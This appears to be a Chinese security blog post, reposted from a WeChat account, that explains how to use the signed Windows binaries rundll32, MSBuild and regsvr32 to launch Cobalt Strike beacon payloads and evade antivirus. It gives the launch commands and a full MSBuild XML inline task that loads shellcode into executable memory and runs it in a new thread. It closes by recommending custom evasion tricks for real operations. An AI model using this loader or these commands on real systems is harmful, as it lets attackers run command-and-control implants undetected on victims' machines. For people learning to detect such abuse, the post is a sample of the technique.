点击蓝字 关注我们
日期:2023-10-08 作者:Corl7 介绍:介绍 3
种常用利用Windows
白名单加载payload
的方式。
0x00 前言
学习一下常用的利用Windows
白名单加载payload
的方式,Windows
白名单即使用微软签名的文件,很多的杀软会对白文件的操作进行放行,因此可以达到免杀效果。本文主要是简单介绍rundll32
、Msbuild
、regsvr32
的使用方式,因为这3
种都可以使用自定义的文件。
0x01 rundll32
rundll32.exe
可以执行32
位的DLL
文件,它的作用是执行DLL
文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。
rundll32.exe
令行下的使用方法为:rundll32.exe DLLname,Functionname
,x86
,x64
位的操作系统rundll32
调用位置不同,64
位的系统默认调用的是64
位rundll32.exe
,在C:WindowsSystem32
目录下,32
位的系统默认调用的是32
位rundll32.exe
,在C:WindowsSysWOW64
目录下。
rundll32 执行 payload
首先使用CS
生成64
位的dll
文件。
查看生成dll
文件中的导出函数,可以看出导出函数名为StartW
。
使用rundll32
运行CS
生成的beacon.dll
文件,加dll
文件中导出函数名。
rundll32 beacon.dll,StartW
成功上线CS
,进程为rundll32.exe
。
0x02 Msbuild
MSBuild
是 Microsoft Build Engine
的缩写,是.NET
和 Visual Studio
的构建平台。MSBuild
使用 XML
控制模式来指导系统进行编译。尽管 SBuild
内置于 Visual Studio
系统,用户可通过 Visual Studio
使用,但其实它是独立的,无需安装完整的 Visual Studio
套件也可以使用。
.NET
版本不同,Msbuild
所在目录也不一样,Msbuild.exe
所在路径没有被系统添加PATH
环境变量中,因此,在使用时需要使用加上绝对路径,以下是Msbuild
的所在目录:
C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe
C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe
C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe
C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe
C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe
C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe
Msbuild 执行 payload
这里以本地加载为例,首先使用CS
生成32
位C#
格式的shellcode
。
编写xml
文件文件,将生成的shellcode
粘贴到byte[] shellcode =
处,并保存为test.xml
。
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[ ]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[ ]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[ ]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[] { 0 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
使用MSBuild.exe
运行test.xml
文件。
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe test.xml
CS
中已上线,进程为MSBuild.exe
。
0x03 regsvr32
regsvr32
命令用于注册COM
组件,是 Windows
系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP
及以上系统的regsvr32.exe
在windowssystem32
文件夹下,2000
系统的regsvr32.exe
在winntsystem32
文件夹下。
regsvr32 执行 payload
这里还是使用运行rundll32
时的dll
文件,使用regsvr32
加要运行的dll
文件即可,运行后会有弹框,点击确定后弹框消失。
regsvr32 beacon.dll
CS
成功上线,进程为regsvr32.exe
。
0x04 总结
3
种利用Windows
白名单加载payload
是在实战中经常使用到的,当然现在直接使用这3
个白文件加远控生成的dll
文件或基础xml
文件肯定是达不到免杀效果,这3
个白文件早就被杀软盯的死死的了,要想达到免杀效果,rundll32
和regsvr32
可以使用自定义dll
文件,Msbuild
可以使用自定义xml
文件,在自定义文件中加入免杀手法,即可达到免杀效果。点此亲启
原文始发于微信公众号(宸极实验室):『杂项』利用 Windows 白名单免杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论